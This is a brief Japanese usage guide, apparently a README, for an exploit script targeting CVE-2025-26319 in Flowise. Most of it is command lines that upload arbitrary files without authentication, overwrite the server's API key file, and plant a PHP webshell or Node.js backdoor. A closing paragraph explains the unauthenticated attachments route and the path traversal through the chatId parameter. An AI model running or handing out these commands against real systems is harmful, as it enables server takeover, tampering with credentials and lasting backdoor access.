CVE-2025-26319

1. 基本的なファイルアップロード python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. 設定ファイルのアップロード

APIキー設定を変更

python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Webshellを自動生成してアップロード

PHP Webshellをアップロード

python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

Node.jsバックドアをアップロード

python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

攻撃原理 /api/v1/attachmentsルートがホワイトリスト内にあるため、認証が不要 chatIdパラメータを操作してパストラバーサル（../../../）を実行 任意のファイルをサーバーファイルシステムの任意の場所にアップロード